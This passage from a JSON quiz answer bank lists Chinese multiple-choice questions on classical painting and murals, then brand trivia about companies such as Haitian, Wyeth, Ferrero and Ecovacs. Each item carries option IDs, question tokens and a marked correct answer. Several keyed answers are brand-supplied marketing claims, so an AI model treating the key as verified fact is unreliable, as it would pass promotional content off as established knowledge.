16:48:05","status":"1"},{"questionId":"6001430939","questionIndex":"1","questionStem":"中国古代著名绘画作品《洛神赋》的作者是?","options":"[{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8Bnl6BAUgoiEaiD2\",\"optionDesc\":\"张僧繇\"},{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8RkD_k-4bumJgaka\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8z8ga2rQjF8XVoRL\",\"optionDesc\":\"顾恺之\"}]","questionToken":"LcQSx0BQjze6v2z83ahHphsUp4-v_d14RP7jfTvC-fuL4t59FlHBQgcZFLzvvoiCC-5wty-BqaJS3chu8NXFQxhoy1UAAQ","correct":"{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8z8ga2rQjF8XVoRL\",\"optionDesc\":\"顾恺之\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430940","questionIndex":"2","questionStem":"描绘释迦摩尼前世故事的绘画作品被称作?","options":"[{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8_ikb1Qh8FBrTP4\",\"optionDesc\":\"佛本生故事画\"},{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8IrJQuRw8I9t-dA\",\"optionDesc\":\"经变画\"},{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8eG7Fu6lPF6M0C8\",\"optionDesc\":\"水陆画\"}]","questionToken":"LcQSx0BQjze9tmz_3ahHoT9aeo-xr87CH0C2BcLYKSQc-oHJZLOjTxpRNhiAa_2AdcR4APmm5bxGsX5qBfJO1rqsjtclsw","correct":"{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8_ikb1Qh8FBrTP4\",\"optionDesc\":\"佛本生故事画\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"6001430941","questionIndex":"3","questionStem":"以下哪种是中国传统绘画中描绘服饰的画法?","options":"[{\"optionId\":\"LcQSx0BQjze9t2yuzuBc86liIVs1UrzTVL0bsw\",\"optionDesc\":\"游丝描\"},{\"optionId\":\"LcQSx0BQjze9t2yuzuBc8W4ICcbSbRVyYHlaHg\",\"optionDesc\":\"披麻皴\"},{\"optionId\":\"LcQSx0BQjze9t2yuzuBc8PAW-5bDgBPxP7kBig\",\"optionDesc\":\"没骨画法\"}]","questionToken":"LcQSx0BQjze9t2z-3ahHpvJGDScMVr0zyIJBV1k7kKeRc1rReLHDX1IRFkIcgJP0CdD2QUfLpwRyl9h41d400m7M_pjthw","correct":"{\"optionId\":\"LcQSx0BQjze9t2yuzuBc86liIVs1UrzTVL0bsw\",\"optionDesc\":\"游丝描\"}","create_time":"2/2/2021 16:48:08","update_time":"2/2/2021 16:48:08","status":"1"},{"questionId":"6001430942","questionIndex":"5","questionStem":"请问以下哪位是元代画家?","options":"[{\"optionId\":\"LcQSx0BQjze9tGyuzuBc8Axu5jMAmiJvP3X0lw\",\"optionDesc\":\"马远\"},{\"optionId\":\"LcQSx0BQjze9tGyuzuBc85hij4DWwRfkmwLJDQ\",\"optionDesc\":\"赵孟頫\"},{\"optionId\":\"LcQSx0BQjze9tGyuzuBc8Z9NrOYlOO1XUNSVjA\",\"optionDesc\":\"赵佶\"}]","questionToken":"LcQSx0BQjze9tGz43ahHpuC1E9E7Eqnv7anIuASZ3q_Sgw8S4TiT2HaCKYPF3_SSMFXNGmPulsFDo0J3K-B_jWg7axAd7A","correct":"{\"optionId\":\"LcQSx0BQjze9tGyuzuBc85hij4DWwRfkmwLJDQ\",\"optionDesc\":\"赵孟頫\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6001430943","questionIndex":"4","questionStem":"元代著名山水画《富春山居图》的作者是?","options":"[{\"optionId\":\"LcQSx0BQjze9tWyuzuBc8e8v4_bG9-B4YgE\",\"optionDesc\":\"赵孟頫 \"},{\"optionId\":\"LcQSx0BQjze9tWyuzuBc86bK-OfTiW-1pQg\",\"optionDesc\":\"黄公望\"},{\"optionId\":\"LcQSx0BQjze9tWyuzuBc8NiKxhdX3IN-v5s\",\"optionDesc\":\"倪瓒\"}]","questionToken":"LcQSx0BQjze9tWz53ahHoTzXRlZZh5lIZMkgqOHD89SUwtPmahms6PJiux8Z6o6HNZrqObUQvKMCzuOWO6JvMCY7GEVL9A","correct":"{\"optionId\":\"LcQSx0BQjze9tWyuzuBc86bK-OfTiW-1pQg\",\"optionDesc\":\"黄公望\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430944","questionIndex":"1","questionStem":"请问以下哪幅作品不是宋徽宗赵佶所作?","options":"[{\"optionId\":\"LcQSx0BQjze9smyuzuBc81IGCbhLQHLTKZIU\",\"optionDesc\":\"《溪山行旅图》\"},{\"optionId\":\"LcQSx0BQjze9smyuzuBc8VRqyYnj9il5HfS6\",\"optionDesc\":\"《听琴图》\"},{\"optionId\":\"LcQSx0BQjze9smyuzuBc8KAkvXdD4lGC3fks\",\"optionDesc\":\"《瑞鹤图》\"}]","questionToken":"LcQSx0BQjze9smz83ahHoV56rBfl6x1uvcw3PUrwtInd7G02_wZm_w4RVhvzIzWy8dAzPgRS4B2EmjSENWrlPbb36YhbwA","correct":"{\"optionId\":\"LcQSx0BQjze9smyuzuBc81IGCbhLQHLTKZIU\",\"optionDesc\":\"《溪山行旅图》\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6001430945","questionIndex":"4","questionStem":"莫高窟壁画《鹿王本生图》创作于哪个朝代?","options":"[{\"optionId\":\"LcQSx0BQjze9s2yuzuBc8LCQbPhDhqFLQGsR4A\",\"optionDesc\":\"北周\"},{\"optionId\":\"LcQSx0BQjze9s2yuzuBc8US2eFjyvQBgmPAOPg\",\"optionDesc\":\"唐代\"},{\"optionId\":\"LcQSx0BQjze9s2yuzuBc85uNuYSKRBZKlnkn9A\",\"optionDesc\":\"北魏\"}]","questionToken":"LcQSx0BQjze9s2z53ahHpl6dU2NkUOPr7DlU4bXTvnpHsveh3Gq1zUgX9FuAMTnAnYre7YSpCcaEmlluJBgGCE122Z8Fng","correct":"{\"optionId\":\"LcQSx0BQjze9s2yuzuBc85uNuYSKRBZKlnkn9A\",\"optionDesc\":\"北魏\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430946","questionIndex":"2","questionStem":"以下哪座唐代墓葬中发现了壁画《马球图》?","options":"[{\"optionId\":\"LcQSx0BQjze9sGyuzuBc8GVb1qwKbvtQNGDYeg\",\"optionDesc\":\"懿德太子墓\"},{\"optionId\":\"LcQSx0BQjze9sGyuzuBc8Sud_j56HSIyk4vr9g\",\"optionDesc\":\"永泰公主墓\"},{\"optionId\":\"LcQSx0BQjze9sGyuzuBc815m7KixncWNinjHGA\",\"optionDesc\":\"章怀太子墓\"}]","questionToken":"LcQSx0BQjze9sGz_3ahHoZUQ5YjzR7k6y78-kxUXNIukvo8Qw5fNEGJoBo25KLBUFPYCZGZfvnpP40hNWQqvtIW5Uw5hpg","correct":"{\"optionId\":\"LcQSx0BQjze9sGyuzuBc815m7KixncWNinjHGA\",\"optionDesc\":\"章怀太子墓\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6001430947","questionIndex":"3","questionStem":"著名的法海寺明代壁画位于哪个城市?","options":"[{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8JKUDct1rhZ4LhWu\",\"optionDesc\":\"南京\"},{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8xx1TmIv0CWD5oSw\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8SHYFQOo1GBzm8os\",\"optionDesc\":\"西安\"}]","questionToken":"LcQSx0BQjze9sWz-3ahHpoJZ3ayO3zZsvZcl_ZdU9HGRI4ndac_fgN8dsKd-oX7J0_fjNU7FXwbvpUWDJappoC2Nj2I7FA","correct":"{\"optionId\":\"LcQSx0BQjze9sWyuzuBc8xx1TmIv0CWD5oSw\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:48:03","update_time":"2/2/2021 16:48:03","status":"1"},{"questionId":"6001430948","questionIndex":"5","questionStem":"莫高窟中现存最古老的壁画属于什么时期?","options":"[{\"optionId\":\"LcQSx0BQjze9vmyuzuBc8QvuaAb9D_SgC4XC\",\"optionDesc\":\"西晋\"},{\"optionId\":\"LcQSx0BQjze9vmyuzuBc811CazsbhjC7wWE4\",\"optionDesc\":\"十六国\"},{\"optionId\":\"LcQSx0BQjze9vmyuzuBc8CDkXvOoEn11CclP\",\"optionDesc\":\"北魏\"}]","questionToken":"LcQSx0BQjze9vmz43ahHpqB2_xq0po7v_eBIGZJplPBMiVClyTYcNC0vhd8f0BVviFC7mAmsmNO6I0OWWeRPZ0GA1UTpwA","correct":"{\"optionId\":\"LcQSx0BQjze9vmyuzuBc811CazsbhjC7wWE4\",\"optionDesc\":\"十六国\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430949","questionIndex":"5","questionStem":"八仙中的哪一位能让牡丹变色?","options":"[{\"optionId\":\"LcQSx0BQjze9v2yuzuBc8IQIXyWnViCeb6g\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjze9v2yuzuBc8SygCS7cl6Q51OQ\",\"optionDesc\":\"蓝采和\"},{\"optionId\":\"LcQSx0BQjze9v2yuzuBc89yyR4TraQ4GK5E\",\"optionDesc\":\"韩湘子\"}]","questionToken":"LcQSx0BQjze9v2z43ahHoSQZDaQDIEfygteCj8mlc2fpzsObCJ7xUjzrjxf82BKZ5qa_anTSvSlstYPhmmCZWKv0AeMuCQ","correct":"{\"optionId\":\"LcQSx0BQjze9v2yuzuBc89yyR4TraQ4GK5E\",\"optionDesc\":\"韩湘子\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6101434016","questionIndex":"3","questionStem":"济民可信的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJaAXVMmZPGsKyqn9e\",\"optionDesc\":\"金色\"},{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJanyPEFUbq5RRSJMm\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJaZ6aSgzJx_JICAPs\",\"optionDesc\":\"白色\"}]","questionToken":"LcUSx0BQiz4j_m0H_ioSP2GBTReuVUUHrXSE6fk1EE99702Q6clUx9wv0dFXCcBr64UtqqgWi77oFOl_d4HILju2r-HoVQ","correct":"{\"optionId\":\"LcUSx0BQiz4j_m1X7WIJanyPEFUbq5RRSJMm\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:48:04","update_time":"2/2/2021 16:48:04","status":"1"},{"questionId":"6101434018","questionIndex":"3","questionStem":"顾家是做什么起家的?","options":"[{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJapMoqrEfA92KhO_6Ww\",\"optionDesc\":\"沙发\"},{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJaHk69MiDyP3-tKIWaw\",\"optionDesc\":\"椅子\"},{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJafn5m9DvYucn-EYdiQ\",\"optionDesc\":\"床垫\"}]","questionToken":"LcUSx0BQiz4j8G0H_ioSOMZARwgSSnhoXG6RG9RjAu3H_3wkPcEmHty6rxSGwKanipLfet38VkfGQmQQuGEJjR9t9Ef4Gg","correct":"{\"optionId\":\"LcUSx0BQiz4j8G1X7WIJapMoqrEfA92KhO_6Ww\",\"optionDesc\":\"沙发\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434019","questionIndex":"3","questionStem":"顾家的总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJabWgpPchUjaHTI8OWg\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJapCMN5yc0H5-z_FI_w\",\"optionDesc\":\"杭州\"},{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJaFwQWu1zVE_9Lt-g9w\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4j8W0H_ioSOD3un8Yh6LUX_z0IIbY4yo8IA1fRv5R0V5JmfwmmpMF-pf0lcENYGCIWcyLVk30MDzgMzpRkDg","correct":"{\"optionId\":\"LcUSx0BQiz4j8W1X7WIJapCMN5yc0H5-z_FI_w\",\"optionDesc\":\"杭州\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6101434020","questionIndex":"5","questionStem":"顾家家居的logo颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaiolm78Kf6ukQTnE\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJad46JfOV_yhiXFev\",\"optionDesc\":\"黑色\"},{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaDoKJ8FAUmS1gcMJ\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4g-G0B_ioSP-v8N80V4PC__w8R9ycJ97Vws1sgmfgE_rBUoJf6QZZ9L0BVNiipNQ9eRzAXW6siH7o-KLWlmA","correct":"{\"optionId\":\"LcUSx0BQiz4g-G1X7WIJaiolm78Kf6ukQTnE\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434021","questionIndex":"4","questionStem":"海天的logo颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJaR0XHU5bNA8CGRs\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJakxViazEg__9iws\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJaGPmksIqFpMhfRc\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4g-W0A_ioSOA6_YGvFOoCACzKic5UvpoASAyMEj7-vHVJIsGZZE577Yz5W-NQhI1vvTVhoFt2n0BnmV1EHkg","correct":"{\"optionId\":\"LcUSx0BQiz4g-W1X7WIJakxViazEg__9iws\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6101434022","questionIndex":"1","questionStem":"海天主要卖什么产品?","options":"[{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaVJIBU0hgJKJ-vyc\",\"optionDesc\":\"电子设备\"},{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaCuDbBoWRs4Oct94\",\"optionDesc\":\"清洁用品\"},{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaid5i5KFXSg-U1r_\",\"optionDesc\":\"调味品\"}]","questionToken":"LcUSx0BQiz4g-m0F_ioSOD8zKQaZ6nxQwDzK5XbLS7x54QkPmlCGwd673EeTv1uwfhGYx0PaUk25uPin-XEvlrf-JLlNKg","correct":"{\"optionId\":\"LcUSx0BQiz4g-m1X7WIJaid5i5KFXSg-U1r_\",\"optionDesc\":\"调味品\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434023","questionIndex":"5","questionStem":"海天工厂总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4g-21X7WIJaEsFUvkdwNCa1aC4pg\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcUSx0BQiz4g-21X7WIJaZixMzN4IaMbXWG9Ug\",\"optionDesc\":\"四川成都\"},{\"optionId\":\"LcUSx0BQiz4g-21X7WIJatoL-flaBCv3-HMbGg\",\"optionDesc\":\"广东佛山\"}]","questionToken":"LcUSx0BQiz4g-20B_ioSODR9NtZQyZovRvEhC5-_XXaDA7DyRmwmxZIUipS1Exlnz--i9sao62jmqb8PcZIDVLAp5zkYkQ","correct":"{\"optionId\":\"LcUSx0BQiz4g-21X7WIJatoL-flaBCv3-HMbGg\",\"optionDesc\":\"广东佛山\"}","create_time":"2/2/2021 16:48:18","update_time":"2/2/2021 16:48:18","status":"1"},{"questionId":"6101434024","questionIndex":"2","questionStem":"惠氏启赋的罐子是什么颜色的?","options":"[{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJadV3J-MgqqlVCyP6\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJaBUo6Qnp7N5iEmxM\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJagDEOWEDlXtJOjeC\",\"optionDesc\":\"蓝色\"}]","questionToken":"LcUSx0BQiz4g_G0G_ioSP35pDaT57yk2_Y1dayFyXYbISQDsjlZvGw05iLFN66X7XMITgLzaPeqtwm4WM0cD_M4tkvVY2A","correct":"{\"optionId\":\"LcUSx0BQiz4g_G1X7WIJagDEOWEDlXtJOjeC\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6101434025","questionIndex":"3","questionStem":"惠氏有机奶粉的奶源来自哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaUvKNRJelhckMMYe\",\"optionDesc\":\"印度\"},{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaiH_PHreb36niLOz\",\"optionDesc\":\"爱尔兰\"},{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaBZ-OA4kPBAilEvp\",\"optionDesc\":\"西班牙\"}]","questionToken":"LcUSx0BQiz4g_W0H_ioSPwXYglx3uAe-uFO75vPzEl46IypgQ5PsJ9OZ6Dq1-1QRlyHppOP9OC4NI-Up1b7E5gOh16IvuA","correct":"{\"optionId\":\"LcUSx0BQiz4g_W1X7WIJaiH_PHreb36niLOz\",\"optionDesc\":\"爱尔兰\"}","create_time":"2/2/2021 16:48:15","update_time":"2/2/2021 16:48:15","status":"1"},{"questionId":"6101434026","questionIndex":"1","questionStem":"以下哪个选项是惠氏铂臻奶粉没有的成分?","options":"[{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJal1vHZZGXirbdVimvw\",\"optionDesc\":\"珍稀植物钙\"},{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJaB9-XNyxUudcoqvp2w\",\"optionDesc\":\"双短链益生元\"},{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJaVaAHljuyrQMwcI17g\",\"optionDesc\":\"脑磷脂群\"}]","questionToken":"LcUSx0BQiz4g_m0F_ioSOAHu3tYM7TzP-0DnoAIanSO0VX8T_ptI2y9hPUXkzTBjHfKASwIyhnqoDSikvctRKESo8XJv9A","correct":"{\"optionId\":\"LcUSx0BQiz4g_m1X7WIJal1vHZZGXirbdVimvw\",\"optionDesc\":\"珍稀植物钙\"}","create_time":"2/2/2021 16:48:15","update_time":"2/2/2021 16:48:15","status":"1"},{"questionId":"6101434027","questionIndex":"1","questionStem":"福临门logo的颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4g_21X7WIJanhJjPhPpYpr8TbP\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4g_21X7WIJadvl3vjRJmZpSuFv\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4g_21X7WIJaJFyf8a2TQ4WvNfO\",\"optionDesc\":\"黑色\"}]","questionToken":"LcUSx0BQiz4g_20F_ioSOHx-OH475HjnI0BXuX0P0DlbwfcCk2v_VSRuBV8sVDSbcuKNgVnysUPf4II4lVOKyCPfeo-7bw","correct":"{\"optionId\":\"LcUSx0BQiz4g_21X7WIJanhJjPhPpYpr8TbP\",\"optionDesc\":\"黄色\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6101434028","questionIndex":"4","questionStem":"福临门成立时间是哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJaSLWyFUIy-5MTltGWg\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJaJlKv6Qvmu0TP_hA9A\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJanXckfU03SY492pM0A\",\"optionDesc\":\"2007年\"}]","questionToken":"LcUSx0BQiz4g8G0A_ioSP_bePo5XNP0PbRvOxOUE5B8kGrJSdp9r0SsJbsBiXZn1signiR6jci5xubXUQDuvIOCJHgYS4g","correct":"{\"optionId\":\"LcUSx0BQiz4g8G1X7WIJanXckfU03SY492pM0A\",\"optionDesc\":\"2007年\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6101434029","questionIndex":"1","questionStem":"以下哪个属于福临门产品?","options":"[{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJarL1uh3lC4urmg\",\"optionDesc\":\"食用油\"},{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJaKNPARHfUCER7w\",\"optionDesc\":\"薯片\"},{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJacixSfMezZ8mTA\",\"optionDesc\":\"抽纸\"}]","questionToken":"LcUSx0BQiz4g8W0F_ioSPzO2BMXZp5m4YE2ylIfrhGrMRilPmN00T-cJt0lSyfNdHFnGokDmkJmhcqg-3eSMq3_AAloZUw","correct":"{\"optionId\":\"LcUSx0BQiz4g8W1X7WIJarL1uh3lC4urmg\",\"optionDesc\":\"食用油\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434030","questionIndex":"1","questionStem":"费列罗源自于哪国?","options":"[{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJaU2dF7qobhe0Q9gH\",\"optionDesc\":\"德国\"},{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJaOTRIKA7Mg4kPYtH\",\"optionDesc\":\"英国\"},{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJavKIe-DuhEY3rfAy\",\"optionDesc\":\"意大利\"}]","questionToken":"LcUSx0BQiz4h-G0F_ioSP2tJk0FAiOwh9eDgMBvJKTITS31nZU9FFITwNr3vSjU4xzeVT-_4g581TwLyrkoLmWr5-IxjoQ","correct":"{\"optionId\":\"LcUSx0BQiz4h-G1X7WIJavKIe-DuhEY3rfAy\",\"optionDesc\":\"意大利\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434031","questionIndex":"5","questionStem":"费列罗主要卖什么产品?","options":"[{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJakE3kWiSzVodX6zrMg\",\"optionDesc\":\"巧克力\"},{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJaeqYZmLxYQlkJ7mfCQ\",\"optionDesc\":\"面包\"},{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJaMlyCGPJGf4W24GjPA\",\"optionDesc\":\"牛奶\"}]","questionToken":"LcUSx0BQiz4h-W0B_ioSP5MFvKlQGucvx22oq7BYd-q5jKenVoUfXtwGfv84vynCCVPFotTLuWxsnhjIj3PQjJsUGaW-CQ","correct":"{\"optionId\":\"LcUSx0BQiz4h-W1X7WIJakE3kWiSzVodX6zrMg\",\"optionDesc\":\"巧克力\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6101434032","questionIndex":"5","questionStem":"费列罗logo的颜色是?","options":"[{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJapuwcCN6Mvh-dFI\",\"optionDesc\":\"咖啡色\"},{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJaaQZt18XHYkrQbs\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJaBSSeC4xg3FB9vA\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4h-m0B_ioSOCsYL6nH3YTaIhyjMviOwf6IYzB5-yLkxE8isntKJAQIgYvA_LqdzffXK-IHKAp3kAOg9ZLDZg","correct":"{\"optionId\":\"LcUSx0BQiz4h-m1X7WIJapuwcCN6Mvh-dFI\",\"optionDesc\":\"咖啡色\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434033","questionIndex":"1","questionStem":"惠而浦总部位于哪个国家?","options":"[{\"optionId\":\"LcUSx0BQiz4h-21X7WIJaJFKb8vZpqkGpkGmvA\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LcUSx0BQiz4h-21X7WIJaecnuyvUQuvatIrOSw\",\"optionDesc\":\"德国\"},{\"optionId\":\"LcUSx0BQiz4h-21X7WIJameNvW0WliEn7N935g\",\"optionDesc\":\"美国\"}]","questionToken":"LcUSx0BQiz4h-20F_ioSPxd7xgd49RFrlG1Zk8S8ltsmMJlfnEKXDw27GMua6yEudjfFnsReOJjvx9pdWfPuhc8wtrTAgw","correct":"{\"optionId\":\"LcUSx0BQiz4h-21X7WIJameNvW0WliEn7N935g\",\"optionDesc\":\"美国\"}","create_time":"2/2/2021 16:48:28","update_time":"2/2/2021 16:48:28","status":"1"},{"questionId":"6101434034","questionIndex":"5","questionStem":"惠而浦创立至今多少年了?","options":"[{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJaJ7WtX0rpgM4f7s\",\"optionDesc\":\"29年\"},{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJapQZcxW2YA6qhvo\",\"optionDesc\":\"99年\"},{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJaQH8jPAlEw018vU\",\"optionDesc\":\"59年\"}]","questionToken":"LcUSx0BQiz4h_G0B_ioSOMBl0HuyWrhxSQajYCNwiCmjb1u1wqBgK6P7H42sLQNrHWBYsoTEtOwCu74qKnT43hHg-vx5dg","correct":"{\"optionId\":\"LcUSx0BQiz4h_G1X7WIJapQZcxW2YA6qhvo\",\"optionDesc\":\"99年\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434035","questionIndex":"3","questionStem":"惠而浦的售后保障是?","options":"[{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJaYNU94Q7S97X5zQ\",\"optionDesc\":\"整机保修2年\"},{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJaLbF1cAv6IIQJlc\",\"optionDesc\":\"整机保修1年\"},{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJakv9nYROMoYYQTE\",\"optionDesc\":\"整机保修3年\"}]","questionToken":"LcUSx0BQiz4h_W0H_ioSOCt9hnx5PAhL1tTGloDa9LPjUAcVFlPupevHC8JZrs99ulbyB4DFf5nm6cJKKvo4FddkDdEjjg","correct":"{\"optionId\":\"LcUSx0BQiz4h_W1X7WIJakv9nYROMoYYQTE\",\"optionDesc\":\"整机保修3年\"}","create_time":"2/2/2021 16:47:44","update_time":"2/2/2021 16:47:44","status":"1"},{"questionId":"6101434036","questionIndex":"4","questionStem":"科沃斯2020年销量最大的产品是?","options":"[{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJasWktFdQy6KlNdLU\",\"optionDesc\":\"扫地机器人\"},{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJaXyAMFU9ERcHoN8T\",\"optionDesc\":\"擦窗机器人\"},{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJaN0_ZJY14_lMb-_v\",\"optionDesc\":\"空气净化机器人\"}]","questionToken":"LcUSx0BQiz4h_m0A_ioSOFqw8uTjWpKp8pkI3eJ4_llbRbGKZNkBpC8lyi16cIuj81jm901VyHHiV3FRTtUXy2M4vz0dyw","correct":"{\"optionId\":\"LcUSx0BQiz4h_m1X7WIJasWktFdQy6KlNdLU\",\"optionDesc\":\"扫地机器人\"}","create_time":"2/2/2021 16:47:43","update_time":"2/2/2021 16:47:43","status":"1"},{"questionId":"6101434037","questionIndex":"3","questionStem":"科沃斯成立于哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4h_21X7WIJasepXKWlG3y-sa9v\",\"optionDesc\":\"1998年\"},{\"optionId\":\"LcUSx0BQiz4h_21X7WIJaArafFLQjN31ZNe6\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LcUSx0BQiz4h_21X7WIJae43l1XJaYRVfKKL\",\"optionDesc\":\"2008年\"}]","questionToken":"LcUSx0BQiz4h_20H_ioSOLdcwBbh6q5Csfjuylccq_hJwxJBPBWcsTuGxMcxL7Ln-9r7R8x3HrYiDaz4aHlOaN4q_zkgMA","correct":"{\"optionId\":\"LcUSx0BQiz4h_21X7WIJasepXKWlG3y-sa9v\",\"optionDesc\":\"1998年\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434038","questionIndex":"2","questionStem":"科沃斯总部位于?","options":"[{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJaOIIckccmk104E7D\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJaYte8yohD_4WjT6i\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJakIBtK0TwxKQyadY\",\"optionDesc\":\"苏州\"}]","questionToken":"LcUSx0BQiz4h8G0G_ioSODdMJBJXczJRrj0Sy3nZpesrdT2ANVQEuSYZd6CXnEXYaQ7KRjk2iP1-_MEBcf9gaKGZzblvqg","correct":"{\"optionId\":\"LcUSx0BQiz4h8G1X7WIJakIBtK0TwxKQyadY\",\"optionDesc\":\"苏州\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 